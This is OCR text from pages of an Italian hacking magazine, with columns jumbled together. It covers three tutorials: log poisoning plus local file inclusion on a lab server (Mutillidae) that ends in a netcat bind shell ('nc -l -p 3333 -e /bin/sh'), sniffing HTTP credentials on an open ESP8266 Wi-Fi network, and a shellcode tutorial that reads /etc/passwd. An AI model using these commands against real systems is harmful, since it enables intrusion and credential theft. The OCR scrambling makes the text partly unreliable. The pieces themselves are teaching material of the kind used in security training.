che, per l’appunto, esegue della pagina http://www. forzare il server a eseguire
il comando di shell passato labpentest.hj/mutillidae/index. il comando
dall’utente tramite il parametro php?page=../../../var/log/ auth.
GET denominato comando. log&comando=ls /var/log. nc -l -p 3333 -e /bin/sh
Avviamo una shell sulla VM Se poi tra questi file dovessimo
Pentester e digitiamo [figura #12] trovarne qualcuno meritevole che, per l’appunto, pone una shell
di ulteriori approfondimenti, in ascolto sulla porta 3333 del
# ssh <? system(“$_ potremmo visionarlo passando server Web. A tal fine, è sufficiente
GET[comando]”);?>@www. al parametro comando il valore richiamare dal browser l’URL
labpentest.hj [figura #13] http://www.labpentest.
cat /var/log/nome_file_log hj/mutillidae/index.php?
quindi passiamo al browser page=../../../var/log/ auth.
e inseriamo nella barra degli e reiterare questo procedimento log&comando=nc -l -p 3333 -e /bin/
indirizzi l’URL http://www. per ciascuno dei file da esaminare. sh, quindi avviare una shell sulla
labpentest.hj/mutillidae/index. VM Pentester e collegarci
php?page=../../../var/log/auth.log& VOGLIO LA SHELL! comodamente alla porta 3333
comando=ls ottenendo il risultato Rispetto alla nostra soluzione del server Web. Il comando
dell’esecuzione del comando iniziale, insomma, il ricorso da eseguire è
ls sulla directory di lavoro corrente al parametro GET risulta
del server Web. particolarmente immediato, # nc www.labpentest.hj 3333
ma per contro necessita
ESTENDERE I RISULTATI di una richiesta HTTP ad hoc che, come possiamo notare
Con quest’ultima incarnazione per ogni comando di shell in [figura #14], ci fornisce accesso
del nostro attacco disponiamo di che si vuole eseguire: nel corso a una shell (purtroppo non
uno strumento versatile e flessibile di un’indagine particolarmente privilegiata) sul server Web.
per eseguire comandi di shell
sul server Web. Per esempio,
potremmo chiederci se esistano
figura #14
ulteriori log da attaccare: è
sufficiente eseguire il comando

ls /var/log
… ma per contro, avremo la possibilità di collegarci
che corrisponde alla visualizzazione alla shell sulla porta 3333 del server Web!

 34
HOW TO
sniffing Sniffare il traffico su rete Wi-Fi
Basta un SoC da pochi euro per catturare i pacchetti dati scambiati dai dispositivi vicini............. 36

buffer overflow Attacco tramite shellcode!


Diventare amministratori del sistema bucato sfruttando una vulnerabilità del codice...................... 42

steganografia L’ arte di nascondere i file dentro ai file


La tecnica per comunicare con altri hacker senza farci spiare dalla NSA...................................................48

log di windows Accessi al filesystem!


Grazie all’audit di Windows, ricostruiamo le attività di ogni utente sul filesystem del PC ................50
HOW TO

Sniffare
il traffico
su r e t e W i - F i
Basta un SoC da pochi euro per creare una rete Wi-Fi capace di
catturare e analizzare i pacchetti dati scambiati dai dispositivi vicini

S
IN BREVE  ul numero 257 di HJ sono stati VERSATILITÀ
riportati i passi necessari per Ciò che ha reso incredibilmente versatili
Ecco come trasformare
realizzare un honeypot facendo i moduli ESP è il Wi-Fi integrato con il
una scheda che costa
pochi euro in un potente uso di un SoC programmabile supporto al protocollo IEEE 802.11 b/g/n
sniffer Wi-Fi. largamente impiegato nel campo e un completo stack TCP-IP che lo rende
dell’IoT. Lo stesso hardware può essere direttamente interfacciabile alla rete con
DIFFICOLTÀ
utilizzato per realizzare un ripetitore poco lavoro poiché supportato da vari
Wi-Fi (Range Extender), all’atto pratico ambienti software. Vengono sviluppati
un Router NAT. Un dispositivo di questo anche diversi firmware specifici e può
tipo può essere utilizzare alcuni linguaggi dedicati, come
usato sia come l’IDE Arduino, il firmware Open Source

figura #1 estensore della


copertura della
con annesso SDK della NodeMCU
(www.nodemcu.com) e MicroPython
propria rete Wi-Fi, (https://micropython.org). All’elenco
sia come sistema vanno aggiunte altre soluzioni più o
per creare una rete meno note tra le quali spicca il firmware
Wi-Fi sicura e legale Open Source Tasmota (https://tasmota.
sulla quale fare i github.io/docs/) tipicamente utilizzato
propri esperimenti nel campo della domotica.
di hacking
compreso lo COSA È UN NAT ROUTER
sniffing del traffico. Le proprietà dell’ESP8266 sono tali
da permettergli di operare
Tutti i dati necessari contemporaneamente da stazione Wi-Fi
quando l’ESP funziona collegata a un AP (Access Point) creando
da Router NAT. al tempo stesso un nuovo segmento di

 36
SNIFFING
rete con funzioni di softAP. In IoT. Per tale motivo la corretta
sostanza, l’ESP funge da stazione
ripetente per l’AP (il gateway,
funzione dell’ESP deve essere
quella di un router NAT (Network
Come
ovvero il router) ma da AP per i Address Translation, letteralmente potenziare
sistemi che vogliono collegarsi sul
nuovo segmento di rete. Ma client,
traslazione degli indirizzi di rete)
affinché possa traslare gli indirizzi
il Wi-Fi
sul nuovo segmento di rete, e IP e il numero di porta da una parte Per i range extender esistono
gateway come comunicano tra di all’altra dei segmenti di rete soluzioni ad hoc commerciali
facilmente acquistabili, ma
loro? Per ottenere questa funzione fornendo ai computer sui diversi
è possibile realizzarne una
l’ESP8266 deve agire da IP router, segmenti l’illusione di essere propria versione spendendo
scenario possibile poiché connessi su reti differenti. In questo pochi euro. In tale scenario la
implementa un completo stack modo la rete creata dall’ESP potrà scelta può ricadere su un
prodotto ideato da Espressif
TCP/IP che, opportunamente essere vista come un segmento a
Systems come l’ESP8266: un
programmato, permette un sé stante trasparente alle altre reti SoC che integra un processore
forwarding (inoltro) dei pacchetti come se fosse a tutti gli effetti un RISC a 32bit e tutta una serie di
in entrambe le direzioni. In questo “classico router casalingo”. Il interfacce la cui spiegazione
scenario il problema risiede nel discorso di equivalenza rispetto a esula dal seguente contesto ma
molto utilizzate dai maker per i
fatto che i segmenti di rete tra un router si completa con le query più disparati progetti.
di loro “non si conoscono”, per (richieste) DNS per la risoluzione
esempio il segmento di rete dei nomi di dominio. In un tipico
192.168.1.x non è a conoscenza scenario i DNS vengono impostati CARICARE IL FIRMWARE
della presenza di un segmento tramite l’interfaccia del proprio Volendo riportare una metodologia
di indirizzi 10.0.0.x e pertanto router che opera come un proxy valida per ogni sistema operativo,
occorrono delle entry opportune DNS inoltrandole, per esempio, la scelta non può che ricadere
all’interno delle routing tables verso l’IDNS (Internet Domain su esptool scritto in Python
(tabelle di instradamento). Una tale Name Server) del proprio fornitore e sviluppato dalla Espressif –
funzione è fondamentale quando di rete; il router diventa quindi un oltremodo utilizzato come backend
si vuole una configurazione senza intermediario. Poiché l’AP (gateway) dall’IDE Arduino quando si devono
troppe problematiche, in termini funge da proxy DNS, è facile intuire caricare sketch per la famiglia ESP
di tempo (quando ci si connette) come l’ESP8266 non deve far altro – e i cui sorgenti vengono messi
e tipologia di dispositivo utilizzato, che far passare queste richieste a disposizione con licenza GPL.
e.g. portatile, smartphone e moduli in maniera trasparente verso l’AP. Il software comunica tramite porta
USB con gli ESP previo utilizzo di un
bridge USB/UART. Per esempio:
la scheda NodeMCU ha già il bridge
integrato, un chip CP2102 di Silicon
Labs per il quale gli utenti Windows
e macOS dovranno installare
i driver dedicati, mentre gli utenti
GNU/Linux non dovranno fare
nulla poiché il kernel già

figura #2 implementa il modulo necessario. Il


primo passo è assicurarsi che siano
Cancellazione flash installati Python 3.4 o superiore e il
seguita dal caricamento tool pip (Pip Installs Packages o Pip
del firmware. Installs Python, https://pypi.org/).
Terminata l’installazione il software
dovrebbe essere visibile dall’utente
nel terminale senza necessità di

37 
HOW TO
GLOSSARIO figura #3
DI BASE

SOC
Acronimo di System
on Chip: indica
un intero sistema
(o quasi)
completamente
integrato in un chip.
Comprende cioè
RAM, Wi-Fi,
Bluetooth, sensori,
CPU, bus di
comunicazione
e molto altro. Sullo sfondo il browser con l’interfaccia grafica del router NAT ESP8266.

RISC
modifiche. Nei sistemi GNU/Linux verrà Tale messaggio indica che la scheda
Acronimo di Reduced
Instruction Set
installato in /home/nome_utente/. è connessa su /dev/ttyUSB0. Prima
Computer. Un tipo local/bin/ ed esptool.py -h fornirà di caricare il firmware è opportuno
di processore con set il significato delle opzioni associate cancellare tutto ciò che c’è nella
di istruzioni più al comando. Per scaricare il firmware memoria flash utilizzando il comando
uniforme e limitato precompilato che implementa
in grado di eseguire
la funzione di router è sufficiente esptool.py --chip esp8266 erase_
(relativamente) poche
istruzioni in impartire il comando flash
contemporanea.
Usato per compiti git clone https://github.com/ Non c’è necessità di specificare la porta
specifici dove martin-ger/esp_wifi_repeater.git poiché in genere la rilevazione
l’istruzione, è automatica [figura #2]. Al termine
semplificando al
A seguire digitate cd esp_wifi_repeater della cancellazione della flash si dovrà
massimo, viene letta,
decodificata, eseguita per entrare nella cartella clonata. caricare il firmware con
e il risultato riportato Dopo aver collegato la NodeMCU
in memoria. Si alla porta USB il comando dmesg esptool.py write_flash -fs 4MB -ff
contrappone ai dovrebbe riportare in output 80m -fm dio 0x00000
sistemi CISC (Complex un messaggio del tipo: firmware/0x00000.bin 0x02000
Instruction Set
firmware/0x02000.bin
Computer) in grado di
eseguire più cp210x converter now attached to
operazioni in una ttyUSB0 L’opzione -fs indica la dimensione della
singola istruzione.

GPIO
Acronimo di General
Purpose Input/
Output. Trattasi di
piedini fisici che il
chip/SoC mette a figura #4
disposizione del
programmatore per Topologia
usi e servizi generici. della rete
realizzata per
la stesura
dell’articolo.

 38
SNIFFING
sempre alla porta 7777 ma
I sorgenti di esptool all’indirizzo 10.0.1.1. Il comando
show config mostrerà l’attuale
Se volete utilizzare i sorgenti dal Git di Espressif è sufficiente il comando configurazione, show stats le
git clone https://github.com/espressif/esptool.git per scaricarli in
statistiche e show route la tabella
locale seguito da cd esptool per entrare nella omonima cartella, quindi
procedere con pip install --user -e . (occhio al punto finale nel di routing [figura #1] nella quale
comando, non è un errore ma indica la cartella corrente). il gateway (router) ha indirizzo
192.168.1.1 e la rete a valle
memoria (flash size), 4 MB, -ff indirizzo poiché il predefinito si dell’ESP8266 indirizzo 10.0.1.0/24.
sta per flash frequency (80 MHz) sovrappone a un router esistente, Si è detto che la rete di default
mentre -fm è l’acronimo di flash è sufficiente al prompt di telnet è aperta e si chiama MyAP. Si
mode dov’è indicata la DIO (Dual impartire set network 10.0.1.0 che possono cambiare le impostazioni
I/O), la modalità di lettura della “dirà” al router ESP8266 di creare il di default; per esempio per
memoria flash esterna (Dual Read segmento di rete 10.0.1.0/24. Prima impostare un altro nome della rete
and Write Mode). di rendere effettive le modifiche (SSID) si può usare set ap_ssid
le si può visionare con show ReteLiberaNoPwd ricordandosi
PRIMO COLLEGAMENTO per valutare se c’è qualcosa da sempre di salvare le impostazioni
A questo punto la scheda modificare, quindi salvarle con e riavviare la scheda per renderle
è programmata per svolgere save e renderle attive con reset. effettive. Alcuni parametri possono
le funzioni di router NAT che di Dopo il riavvio della scheda, per essere impostati anche attraverso
default creerà il nuovo segmento di avere l’interfaccia Web dell’ESP l’interfaccia grafica. Va da sé come
rete 192.168.4.0/24 aperto (senza router il browser va puntato al sia possibile ampliare la rete
password) con SSID di nome MyAP. nuovo indirizzo 10.0.1.1. Va da sé usando più schede per costruire
L’indirizzo per l’interfaccia grafica è che ora la connessione telnet sarà diversi segmenti di rete. Gli indirizzi
192.168.4.1 e al portatile collegato
è stato assegnato l’indirizzo
192.168.4.2 [figura #3]. Per
collegarsi al router di casa occorre
riportare SSID e Password della
rete nella sezione STA Settings
dell’interfaccia grafica, quindi
cliccare su Connect. Una volta
collegato un dispositivo alla “nuova
rete” per verificare che si riesca
ad “uscire”, quindi la possibilità figura #5
di navigare, è sufficiente un ping Identificare la
8.8.8.8 (DNS Google) o verso rete in chiaro.
qualunque altro indirizzo IP
raggiungibile in Internet. È possibile
impostare, seppur in numero
limitato rispetto a un router
Se il firmware non si carica
Nei sistemi GNU/Linux occorre assicurarsi che l’utente che dovrà
“regolare”, diversi parametri di rete.
materialmente caricare via USB il firmware faccia parte del gruppo dialout
Per queste operazioni è sufficiente e, in alcune distribuzioni (e.g. Ubuntu), anche del gruppo tty, esattamente
collegarsi via telnet all’ESP8266 con come avviene per l’IDE Arduino. La verifica può essere effettuata avviando,
il comando telnet 192.168.4.1 senza argomenti o opzioni aggiuntive, i comandi groups o id direttamente
7777. Ottenuto il prompt, digitando dall’utente che dovrà caricare il firmware. Per aggiungere l’utente a un
gruppo basta usare il comando usermod -a -G dialout nome_utente
help e premendo Invio verranno da impartirsi con le credenziali di root o anteponendo
riportati tutti i comandi accettati. a esso sudo per quelle distribuzioni che lo abilitano di default.
Qualora si volesse cambiare

39 
HOW TO
GLOSSARIO vengono assegnati automaticamente vede la cattura del traffico utilizzando
DI BASE dal DHCP. È possibile l’esecuzione di l’interfaccia wireless che opera
uno speed test utilizzando i classici test in monitor mode (wlo1 nel nostro caso).
UART online come https://misurainternet.it Si potrebbe provare, utilizzando
Universal per verificarne le performance. la suddetta rete in chiaro, a scoprire
Asynchronous le credenziali di un sito che opera
Receiver-Transmitter. ANALIZZARE IL TRAFFICO su connessione HTTP (non HTTPS).
Uno dei protocolli Il punto a cui siamo arrivati configura Ricordiamo che quanto descritto
seriali di
lo scenario visibile in [figura #4]. in queste pagine è solo a livello
comunicazione tanto
vecchio quanto Verifichiamo per questa rete le dimostrativo e didattico. Hacker Journal
semplice e largamente implicazioni riguardanti la sicurezza non si riterrà responsabile per qualsiasi
utilizzato nei poiché è aperta (in chiaro), sebbene sia azione che possa arrecare danno
microcontrollori. sempre possibile impostare il WPA2 emulando quanto riportato di seguito.
In quanto come opzione. Quali possibili
comunicazione
informazioni riusciamo a ricavare? Per FILTRATE I PACCHETTI
asincrona, quando
si vuole comunicare rispondere a questa domanda si farà Il primo passaggio è filtrare tutto ciò
via UART occorre uso del software Wireshark (www. che arriva e che parte dalla rete Wi-Fi
“concordare” wireshark.org). Lo scenario vede in chiaro appena creata. Come fare?
la velocità di catturare, con un portatile, il traffico Conosciamo il MAC address (Media
trasmissione (e.g.
di rete tra un dispositivo mobile (e.g. Access Control, indirizzo di 12 cifre
115.200 baud).
smartphone) che opera nella rete creata che identifica in maniera univoca una
BEACON FRAME dall’ESP8266. Essendo interessati alla scheda) del softAP; come visibile dalla
È un pacchetto che cattura dei pacchetti del protocollo [figura #1], è pari a 5e:cf:7f:6c:dd:a3 in
un dispositivo invia 802.11 allora si dovrà impostare esadecimale. Si può osservare in [figura
nell’etere per l’interfaccia wireless del portatile #5] un Beacon Frame corrispondente
annunciare la propria
in modalità monitor mode affinché si all’AP MAC riportato. Poiché nei dintorni
esistenza e
disponibilità alla possa “sniffare” tutto il traffico nell’etere. possono esserci molte altre reti, per
connessione. Contiene Tale impostazione è stata riportata più evitare di catturare traffico di non
diverse informazioni volte nei diversi numeri di HJ pertanto interesse che intaserebbe l’interfaccia
riguardanti le non verrà ripresentata in questo è opportuno inserire un filtro affinché
caratteristiche della contesto. Avviato Wireshark con i pacchetti catturati interessino tutto
rete che si appresta
le credenziali dell’amministratore (o e solo il traffico trasmesso o che abbia
a rendere disponibile
a chi vorrà collegarsi. anteponendo sudo per le distribuzioni come destinazione l’ESP. Per ottenere
che lo abilitano di default) il primo passo questo risultato si dovrà cliccare con il
IEEE 802.11
Rilasciato nel 1987,
identifica lo standard
delle reti wireless.
Le lettere b e g
indicano
rispettivamente,
per la frequenza
di 2,4 GHz,
una velocità di 11
Mbit/s e 54 Mbit/s.
La lettera n si riferisce
a una velocità
di 300 Mbit/s alla
figura #6
frequenza di 5 GHz. Filtrare i pacchetti per visualizzare
solo quelli che ci interessano,
cioè quelli da e per l’ESP.

 40
SNIFFING
tasto destro su Transmitter
address del MAC del softAP e dal Ottimizzare la connessione
menu contestuale selezionare
Esistono topologie di rete che per costruzione originano ridondanze
Applica come filtro e dall’elenco
nei percorsi di comunicazione. Trattasi della topologia di rete mesh che
optare per Selezionati [figura #6]. all’atto pratico migliora la velocità di comunicazione poiché, effettuando
Verrà aggiunta nel rigo dei filtri la connessioni incrociate fra più elementi, permette di avere nodi diversi
stringa wlan.ta == 5e:cf:7f:6c:dd:a3. per il flusso dei dati, un traffico distribuito in maniera più uniforme
su ogni nodo e latenze ridotte, una migliore copertura e una maggiore
Dopo questa operazione verranno
stabilità del segnale. Una funzione integrata nel firmware dell’ESP8266
filtrati tutti i pacchetti trasmessi è la automesh attivabile da interfaccia grafica oppure con il comando
dall’ESP8266. In or logico (simbolo set automesh 1 via telnet. Una tale configurazione prevede almeno
della doppia pipe come nel un numero minimo di due schede.
linguaggio C, ||) va aggiunto anche
il filtro che permette di selezionare
tutti i pacchetti che hanno come
destinazione l’ESP8266. In definitiva
nel rigo dei filtri dovrà aversi la
stringa (sostituire il MAC con quello
del proprio device):

wlan.ta == 5e:cf:7f:6c:dd:a3
|| wlan.da == figura #7
5e:cf:7f:6c:dd:a3
Le reti in chiaro si dimostrano
ancora una volta un
A questo punto si può prendere colabrodo per i nostri dati,
lo smartphone, collegarsi alla rete difatti vengono usate come
in chiaro, quindi andare sul form esche, state attenti quando
di autenticazione di un sito per i pacchetti catturati utilizzando ne trovate una!
il quale conosciamo le credenziali da File la voce Salva come… e
e che utilizza il protocollo HTTP. assegnandogli un nome qualsiasi
Dopo aver immesso username (e.g. Test.pcapng). In questo modo di Wireshark selezionare Trova
e password effettuiamo il login; sarà possibile effettuare un’analisi un pacchetto (pulsante con lente
nel frattempo sulla schermata offline in un secondo momento d’ingrandimento come icona)
del portatile potremo vedere un caricando il file con sudo wireshark e dalla nuova sezione a comparsa
susseguirsi di pacchetti evidenziati -t Test.pcapmg. Operazione in selezionare Dettagli del pacchetto
con diversi colori. Effettuato il login realtà non necessaria poiché è (sezione a sinistra), lasciare Ridotti
si può interrompere la cattura possibile anche l’analisi a runtime o allargati nel menu a tendina
(icona seconda a destra con un (tempo di esecuzione). Qualunque centrale, Stringa nel menu di
quadrato rosso), quindi salvare sia la scelta adottata, dall’interfaccia destra e nel rigo di ricerca subito a
destra riportare, per esempio per
facilitare la ricerca, lo username
E se ho un ESP32? utilizzato per il sito. A questo punto,
cliccando sul pulsante Trova, dopo
Non cambiando l’obiettivo si può migliorare il sistema in alcune
caratteristiche utilizzando il “successore” del SoC ESP8266, l’ESP32. Come qualche attimo di ricerca Wireshark
il predecessore, anche l’ESP32 è stato realizzato in diverse versioni: si fermerà su un dato pacchetto nel
la più utilizzata è il modulo ESP-WROOM-32 e successivi rilasci, ognuno quale, come visibile in [figura #7]
caratterizzato da proprie specifiche non molto dissimili tra loro. L’ESP32 sarà possibile leggere sia l’IP del
oltre al Wi-Fi integrato con il supporto al protocollo IEEE 802.11 b/g/n
e a uno stack TCP-IP completo, include anche il pieno supporto alle
sito che le credenziali di accesso,
specifiche Bluetooth 4.2 e BLE (Bluetooth Low-Energy). a dimostrazione della pericolosità
delle reti in chiaro!

41 
HOW TO

Attacco tramite shellcode!


QUARTA PA RT E
C’è chi riesce a sfruttare una vulnerabilità buffer overflow per
ottenere una shell di root e diventare così amministratore di sistema

S
IN BREVE  iamo così giunti al quarto UN VELOCE RICHIAMO
appuntamento dedicato ai Avere un programma vulnerabile
Studiamo la
buffer overflow. Nei numeri a un buffer overflow ma che non accetti
condizione d’errore
di un programma precedenti di Hacker Journal alcun parametro in ingresso non è di
chiamata buffer si sono ottenuti due importanti risultati: nessuna utilità per un attaccante. Nelle
overflow per capire un programma vulnerabile affetto applicazioni reali i programmi, anche di
come viene sfruttata da buffer overflow e righe di codice comune uso quotidiano, si interfacciano
dai pirati per compiere in C che ci permettono di aprire una con l’utente permettendogli in genere
azioni malevole.
shell di root. Si pongono però ulteriori di inserire un dato input, sia esso
DIFFICOLTÀ interrogativi. Come iniettare il codice un valore singolo oppure un gruppo
per l’apertura di una shell visto di valori anche misti e non
che non è possibile passare le righe necessariamente solo numerici.
del programma così come sono scritte? Nei precedenti appuntamenti abbiamo
Facciamo un passo avanti e cerchiamo visto un semplice programmino che
di dipanare questa questione. (sovra)scriveva il buffer accettando in
ingresso un certo numero di caratteri
che poi venivano copiati nel buffer.
Se il numero di caratteri era superiore
alla dimensione del buffer ecco che si
scatenava il buffer overflow, dovuto
sostanzialmente all’assenza di controlli
figura #1 e nel nostro specifico caso indotto
dall’uso di funzioni non idonee come
Contenuto del
strcpy(). Con il medesimo programma
file /etc/passwd.
sarebbe possibile, seppur in versione
semplificata e limitata, dimostrare come
ottenere una shell di root diventando
così amministratore di sistema grazie
alla vulnerabilità buffer overflow.
Si è utilizzato il condizionale poiché
prima della dimostrazione è necessario
comprendere almeno un altro
passaggio ossia, come ottenere lo
shellcode che poi dovrà essere passato
come input al programma vulnerabile.

GENERARE IL CODICE DA INIETTARE


Per realizzare un programma
è possibile seguire diverse strade in
funzione dell’applicazione che si vuole

 42
BUFFER OVERFLOW
figura #2 Disassemblaggio dell’eseguibile
previo uso del debugger GDB.
non esclusivamente – si utilizza
il linguaggio C;
• compilare il programma scritto
via. Se il numero di caratteri supera e verificarne la funzionalità;
la dimensione del buffer del • procedere al disassemblaggio
programma vulnerabile, il risultato e, passo facoltativo ma che
è un buffer overflow con la accresce le conoscenze, analizzare
conseguente chiusura del come il programma funzioni
programma a opera del kernel a livello di linguaggio Assembly;
con un errore di segmentation • facoltativo (almeno in una fase
fault (segnale SIGSEGV, SIGnal iniziale di apprendimento)
SEGmentation Violation) e tutto – attuare una procedura di
finisce lì. Se invece venisse passato ottimizzazione per ripulire il codice
l’opcode delle istruzioni, lo scenario Assembly da tutto ciò che non
cambierebbe: si può pensare occorre, al fine di ottenere un
di memorizzare questi codici, codice iniettabile più corto possibile;
che sono a tutti gli effetti delle • verificare che la funzione
istruzioni, direttamente nello stack. del programma Assembly sia
Tali istruzioni potrebbero essere equivalente a quella scritta
realizzare. Per esempio, utilizzare eseguite se si riuscisse a far saltare con un linguaggio di alto livello;
un linguaggio ad alto livello come l’esecuzione del programma • estrarre gli opcode delle istruzioni
Java, Python o Perl, oppure optare vulnerabile nelle locazioni per la creazione dello shellcode.
per un linguaggio mid-level come dove sono state
il C/C++. Infine si potrebbe memorizzate. Per
scegliere un linguaggio di basso ottenere gli opcode
livello come l’Assembly o, ancora si deve avere quanto
più giù, usare gli opcode (codici in meno un sorgente
formato esadecimale). Sebbene sia Assembly dal quale
possibile realizzare uno shellcode ricavarli. Per
utilizzando tutti i suddetti linguaggi, ottenerlo o si è un
occorre ricordare che nel nostro minimo padroni
obiettivo occorrerà poi passarlo di questo linguaggio
come input al programma oppure, almeno in
vulnerabile. Passare righe di codice una fase iniziale, si
di linguaggi ad alto/medio livello segue una logica per
equivale a non passare nulla passi che permette di
poiché verrebbero viste come arrivare al risultato:
sequenza di caratteri alla stregua • scrivere la funzione
di tante A. Si immagini, per che si vuole ottenere
esempio, la prima tipica riga di in un linguaggio di
codice C come #include <stdio.h>: alto/medio livello che
verrebbe passato prima il carattere in genere si conosce.
# seguito dalla lettera i, poi n e così Tipicamente – ma

Il primo esempio di attacco figura #3


basato su buffer overflow fu il L’Assembly del
sorgente Elenco.c
Morris Worm che nel 1988 portò ottenuto da GCC.
al crash di più di 6.000 sistemi

43 
HOW TO
UN PO’ DI PRATICA perché in esso una volta venivano passato come argomento
Di seguito vedremo un esempio memorizzate le password – tramite e riportarne il contenuto sullo
scritto in linguaggio C. L’obiettivo l’uso del programma cat, uno dei standard output (man cat
è la lettura del contenuto del file comandi elementari in GNU/Linux per approfondimenti). Per ottenere
/etc/passwd – così chiamato utilizzato per leggere un file il risultato verrà utilizzata nel
sorgente C la chiamata di sistema

GLOSSARIO DI BASE
execve() il cui prototipo è:

int execve(const char


SHELLCODE *pathname, char *const argv[],
Con questo termine si indica un codice macchina in grado di mettere
char *const envp[])
a disposizione una shell una volta mandato in esecuzione. Non
necessariamente il codice di uno shellcode è tale da aprire sempre una
shell. A dispetto del nome, uno shellcode può realizzare qualsiasi funzione Digitate nel terminale man 2
si voglia. Esiste però una regola generale, in particolar modo per quegli execve per approfondimenti.
shellcode che devono sfruttare la vulnerabilità di un programma, Si digitino tutte le righe riportate
e consiste nell’ottenere un codice il più semplice e compatto possibile.
di seguito e si salvi il file con
Infatti in presenza, per esempio, di un’area vulnerabile di n byte si dovrà
considerare che tutto lo shellcode dovrà rientrare al più in quei n byte
un nome, per esempio Elenco.c.
che generalmente corrispondono ad alcune decine di byte!
#include <unistd.h>
OPCODE int main() {
È un codice operativo che dice al processore il tipo di operazione che char *args[3];
dovrà eseguire. Il codice, in funzione del tipo di operazione, è seguito
args[0] = “/bin/cat”;
da uno o più argomenti che istruiscono il processore sul da farsi.
Si può fare riferimento al sito http://ref.x86asm.net/ nel quale, per args[1] = “/etc/
esempio per i sistemi a x86_64 bit presi in considerazione in questo passwd”;
articolo (link coder64), si può vedere come a un codice 31 (in esadecimale) args[2] = NULL;
nella colonna po (primary opcode) corrisponda un’operazione di xor con execve(args[0], args,
relativi argomenti (colonne op1 e op2). NULL);
}
XOR FUNZIONE
Nota con il nome di or esclusivo, è una funzione logica la cui caratteristica
vede un’uscita 0 (livello logico basso) quando gli ingressi hanno il Il comando per la compilazione
medesimo livello logico, viceversa l’uscita è sempre pari a 1 (livello logico è gcc -static -g -o Elenco Elenco.c
alto). Per esempio, ipotizzando una Xor a 2 ingressi, se In1=0 e In2=0 laddove l’opzione -g aggiunge
allora Out=0. Lo stesso valore di uscita si ha per In1=1 e In2=1. La i simboli per il debug e -static
presenza di livelli differenti sugli ingressi come In1=0 e In2=1 vede l’uscita
ingloba nell’eseguibile tutte le
portarsi al livello logico alto (Out=1).
librerie necessarie al fine di evitare
CHIAMATA DI SISTEMA la presenza di linking dinamico per
Detta anche syscall, è l’unico meccanismo che hanno le applicazioni i motivi ricordati nel precedente
utente che girano in user space (comprese quelle che vengono avviate articolo. Il risultato vedrà
con i privilegi dell’amministratore, non si confondano i concetti di kernel
l’eseguibile Elenco la cui esecuzione
space e utente root) per richiedere un servizio. Infatti, poiché i programmi
che girano in user space non hanno la possibilità di accedere alle risorse
fornisce un output simile a quello
hardware (CPU, memoria, periferiche, ecc.), le chiamate di sistema sono visibile in [figura #1]; cioè l’elenco
il tramite di comunicazione tra user space e kernel space. All’atto di una delle righe contenute nel file /etc/
chiamata di sistema si ha il salvataggio dei registri, la commutazione da passwd. Si ha la funzione richiesta,
user space a kernel space, l’esecuzione del servizio richiesto, l’eventuale i primi due punti dell’elenco
lettura/scrittura di dati in memoria utente, la commutazione da kernel
precedente sono stati superati.
space a user space seguita dal ripristino dei registri e il proseguimento
dell’esecuzione del programma. Esempi di syscall sono open(), read(),
write(), close() per la gestione dei file, fork() e exit() per il controllo dei OTTENERE L’OPCODE
processi e execve() per il lancio di programmi. Il programma presenta due
funzioni, main() che esegue tutte

 44
BUFFER OVERFLOW
le allocazioni in spazio utente per
il passaggio dei tre argomenti alla
figura #4
funzione execve() la quale, all’atto
della chiamata, può essere vista
con questi argomenti:

execve(“/bin/cat”, [“/bin/
cat”, “/etc/passwd”], NULL)

Tali argomenti devono essere


spostati dalla memoria in appositi
registri della CPU per poter
eseguire la funzione. Per un
sistema GNU/Linux a 64 bit occorre
fare riferimento alla tabella delle
syscall che si può trovare nel file
unistd_64.h nel percorso /usr/src/
kernel-x.yy.zz/arch/x86/include/
generated/uapi/asm/. Oppure,
senza installare i sorgenti del
kernel, le syscall sono riportate
in appositi siti, come https://bit.ly/
hj259_syscall, nei quali vengono
illustrati anche i registri coinvolti.
Per esempio, per eseguire la syscall
in questione, sys_execve, il
registro %rax (%eax per sistemi
a 32 bit) dovrà contenere il codice
che la identifica univocamente: 59
in decimale su macchine a 64 bit. In alto il lancio dell’eseguibile
I tre argomenti passati alla funzione assemblato, in basso il contenuto del file oggetto .o.
nel sorgente C dovranno essere
allocati rispettivamente nei registri il disassemblaggio alle righe scritte a mov 0x3b, %rax, ma la prima
%rdi, %rsi e %rdx (%ebc, %ecx in C. Provate a osservare, per soluzione è più efficiente poiché c’è
e %edx per sistemi a 32 bit). esempio, come viene passato meno codice macchina! In [figura
Ci si può rendere conto di questa in esadecimale il codice di #3] potete vedere l’Assembly
affermazione osservando riconoscimento univoco di una del file Elenco.s con grado di
la [figura #2] ottenuta dando in syscall al registro %rax: 0x3b, nello ottimizzazione -O2 e simboli
pasto al debugger GDB l’eseguibile specifico equivalente al numero 59 di debug, elenco ottenuto con
con il comando gdb -q Elenco, a cui fa seguito la chiamata con il comando gcc -S -fverbose-asm
quindi impartendo nell’ambiente l’istruzione syscall. Qualcuno -g -O2 Elenco.c -o Elenco.s.
del debugger i comandi disas /rs potrebbe notare un’apparente Gli output sono ricchi di
main e disas /rs execve per incongruenza poiché il registro interessanti spunti e suggerimenti
il disassemblaggio della funzione chiamato in causa è il 32 bit %eax che non sempre è possibile
main e della chiamata a execve. mentre %rax è a 64 bit. In realtà utilizzare direttamente per poter
Le opzioni /r e /s passate insieme %eax può essere visto come un ricavare gli opcode poiché alcuni
permettono di ottenere, “alias” dei 32 bit bassi di %rax. aspetti, come gli indirizzi, non sono
rispettivamente, gli opcode Pertanto scrivere/leggere mov noti. Per esempio, un problema di
delle istruzioni e di legare 0x3b, %eax è del tutto equivalente derivazione di uno shellcode da un

45 
HOW TO

figura #5
La sequenza di opcode
(cioè lo shellcode) per il
programma di lettura file.

programma scritto in C è dato dalla le seguenti righe salvando il file etichetta ma l’obiettivo è rendere
risoluzione dei simboli (o come Elenco_assembly.asm. i sorgenti coerenti tra di loro.
rilocazione). Telegraficamente, Lo 0 indica il terminatore di stringa
alla chiamata di una funzione section .rodata noto anche come null byte.
l’Assembly genera un’istruzione del align 8 La direttiva db sta per declare byte
tipo call indirizzo (un esempio args dq bin, arg2, 0 e nello specifico dichiara 8 byte
in [figura #2]). L’indirizzo che arg2 db “/etc/passwd”,0 – gli 8 caratteri riportati tra doppi
appare in realtà è “solo” un offset bin db “/bin/cat”,0 apici in codice ASCII – a partire
che sarà risolto dal loader dall’indirizzo dove è memorizzato
(caricatore) a runtime, solo section .text bin (o qualunque nome gli si voglia
a questo punto si conosce l’esatto global _start dare). La direttiva dq sta per
indirizzo. Un problema che dovrà _start: declare quadword (una parola
essere raggirato e lo si può fare mov rax, 59 a 64 bit). La sezione inizia con
